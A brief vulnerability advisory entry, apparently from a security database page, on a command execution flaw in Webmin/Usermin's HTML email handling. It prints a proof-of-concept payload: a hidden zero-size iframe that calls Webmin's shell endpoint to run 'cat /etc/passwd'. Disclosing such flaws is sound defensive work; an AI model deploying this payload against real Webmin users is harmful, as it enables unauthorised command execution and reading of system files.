|
Webmin / Usermin HTML Email Command Execution Vulnerability
No exploit is required. The following proof of concept is available: <iframe src='/shell/index.cgi?cmd=cat+%2Fetc%2Fpasswd&pwd=%2Fhome%2Fv ictim&history=' height=0 width=0></iframe> |
|
|
Privacy Statement |
